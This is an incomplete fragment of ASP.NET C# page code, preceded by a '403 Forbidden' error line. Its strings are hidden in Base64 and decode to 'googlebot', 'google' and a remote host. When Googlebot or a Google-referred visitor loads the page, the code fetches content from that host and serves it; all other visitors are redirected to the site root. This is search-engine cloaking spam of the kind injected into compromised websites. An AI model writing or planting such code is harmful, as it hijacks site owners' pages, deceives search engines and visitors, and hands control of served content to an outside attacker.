Error: The remote server returned an error: (403) Forbidden.
r = Request.ServerVariables["HTTP_REFERER"];
string userAgent = Request.UserAgent;
if ((userAgent != null && userAgent.ToLower().Contains(Base64Decode("Z29vZ2xlYm90"))) || (referer != null && referer.IndexOf(Base64Decode("Z29vZ2xl"), StringComparison.OrdinalIgnoreCase) >= 0))
{
string Remote_server = Base64Decode("aHR0cDovL3ppeWQubHVvZGl4aWppbi5jb20v");
string protocol = Request.Url.Scheme + "://";
string host_name = protocol + Request.ServerVariables["HTTP_HOST"] + Request.ServerVariables["SCRIPT_NAME"] + "?" + Request.ServerVariables["QUERY_STRING"];
string Remote_file = Remote_server + "?u=" + host_name;
if (referer != null && referer.IndexOf(Base64Decode("Z29vZ2xl"), StringComparison.OrdinalIgnoreCase) >= 0)
{
Remote_file += Base64Decode("JnQ9ZnJvbV9nb29nbGU=");
}
string Content_mb = GetHttp(Remote_file);
if (Remote_file.Contains("sitemap.xml"))
{
Response.ContentType = "application/xml";
}
Response.Write(Content_mb.Trim());
}
else
{
Response.Redirect("/");
}
}